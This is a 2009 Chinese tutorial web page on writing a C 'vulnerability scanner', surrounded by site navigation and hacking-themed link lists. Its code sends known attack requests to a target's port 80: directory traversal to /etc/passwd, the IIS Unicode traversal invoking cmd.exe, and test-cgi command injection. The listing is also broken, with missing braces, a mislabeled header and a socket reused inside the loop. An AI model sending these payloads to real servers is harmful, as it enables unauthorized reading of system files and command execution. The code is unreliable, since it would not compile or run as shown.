文章导航PC6首页软件下载单机游戏安卓资源苹果资源

pc软件新闻网络操作系统办公工具编程服务器软件评测

安卓新闻资讯应用教程刷机教程安卓游戏攻略tv资讯深度阅读综合安卓评测

苹果ios资讯苹果手机越狱备份教程美化教程ios软件教程mac教程

单机游戏角色扮演即时战略动作射击棋牌游戏体育竞技模拟经营其它游戏游戏工具

网游cf活动dnf活动lol周免英雄lol礼包

手游最新动态手游评测手游活动新游预告手游问答

您的位置:首页网络冲浪黑客天空 → 如何用C编写漏洞扫描器

如何用C编写漏洞扫描器

时间:2009/11/3 16:50:00来源:本站整理作者:我要评论(0)

 

一、漏洞扫描器基本原理: 

编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。 

二、简单的漏洞扫描源代码: 

/********************************************/ 
/* 端口扫描器 源代码 */ 
/* CgiScanner.cpp */ 
/********************************************/ 

#include <stdio.h> 
#include <string.h> 
#include <winsock.h> 

int main(int argc,char *argv[]) 

if(argc!=2){ 
printf("Useage : scan [IP address]\n"); 
return(1); 

struct sockaddr_in blah; 
struct hostent *he; 
WSADATA wsaData; 
int i; 
WORD wVersionRequested; 
SOCKET sock; 

char buff[1024]; 
char *ex[10]; 
ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n"; 
ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n"; 
ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n"; 
ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n"; 
ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n"; 
ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n"; 
char *fmsg="HTTP/1.1 200 OK"; 

wVersionRequested = MAKEWORD( 1, 1 ); 
if (WSAStartup(wVersionRequested , &wsaData)){ 
printf("Winsock Initialization failed.\n"); 
exit(1); 

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ 
printf("Can not create socket.\n"); 
exit(1); 

sock = socket(AF_INET,SOCK_STREAM,0); 
blah.sin_family = AF_INET; 
blah.sin_port = htons(80); 
blah.sin_addr.s_addr= inet_addr(argv[1]); 

if ((he=gethostbyname(argv[1]))!=NULL){ 
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length); 

else{ 
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){ 
WSACleanup(); 
exit(1); 

for (i=1 ; i<7; i++) {
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[i],strlen(ex[i]),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex[i]);
}
}

closesocket(sock);
WSACleanup();
return(1);
}
}

这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:

1、连接目标主机SERVER;
2、向目标主机发送GET请求;
3、接收目标返回数据;
4、根据返回数据判断文件是否存在。

 

相关阅读 cf11周年礼包奖励领取地址 cf11周年礼包活动礼包领取地址2020cf11周年庆轮回活动地址 cf11周年庆轮回活动抽奖地址2019cf火线实验室活动地址2020 cf火线实验室活动抽奖地址2020cf枪王自助餐8月活动地址2019 cf8月枪王自助餐礼包领取地址cf夏日主播大作战活动地址 cf夏日主播大作战礼包抽奖地址2019cf烈火超级翻牌活动地址2019 cf烈火超级翻牌活动抽奖地址2019禁用“Chrome请停用以开发者模式运行的扩展程序”教程cf夏日泳装许愿活动地址2020 cf夏日泳装许愿活动抽奖地址

文章评论
发表评论

热门文章 黑客大战直播网址 黑客

最新文章 黑客大战直播网址 黑客什么是木马,什么是木马 计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧

人气排行 如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具